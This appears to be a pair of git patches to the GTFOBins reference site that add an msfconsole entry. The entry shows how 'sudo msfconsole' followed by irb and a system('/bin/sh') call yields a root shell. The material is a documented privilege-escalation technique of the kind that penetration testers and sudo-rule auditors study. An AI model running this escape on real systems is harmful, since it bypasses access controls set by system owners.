From ffac698574638a36073413bb6ff30cf6f774c77e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B7=B4=E9=83=BD=E4=B8=87?= <46479117+pad0van@users.noreply.github.com> Date: Fri, 5 Aug 2022 23:48:55 +0800 Subject: [PATCH 1/2] Add msfconsole --- _gtfobins/msfconsole.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 _gtfobins/msfconsole.md diff --git a/_gtfobins/msfconsole.md b/_gtfobins/msfconsole.md new file mode 100644 index 0000000..eb09a0d --- /dev/null +++ b/_gtfobins/msfconsole.md @@ -0,0 +1,8 @@ +--- +functions: + sudo: + - code: | + sudo msfconsole + msf6 > irb + >> system("/bin/bash") +--- From 09d06670201fc48db7449f1aa9072f6428694674 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Fri, 16 Dec 2022 14:47:04 +0100 Subject: [PATCH 2/2] Improve and clarify msfconsole --- _gtfobins/msfconsole.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/_gtfobins/msfconsole.md b/_gtfobins/msfconsole.md index eb09a0d..886e8a0 100644 --- a/_gtfobins/msfconsole.md +++ b/_gtfobins/msfconsole.md @@ -1,8 +1,14 @@ --- +description: This allows to spawn a [`ruby`](/gtfobins/ruby/) interpreter. functions: + shell: + - code: | + sudo msfconsole + msf6 > irb + >> system("/bin/sh") sudo: - code: | sudo msfconsole msf6 > irb - >> system("/bin/bash") + >> system("/bin/sh") ---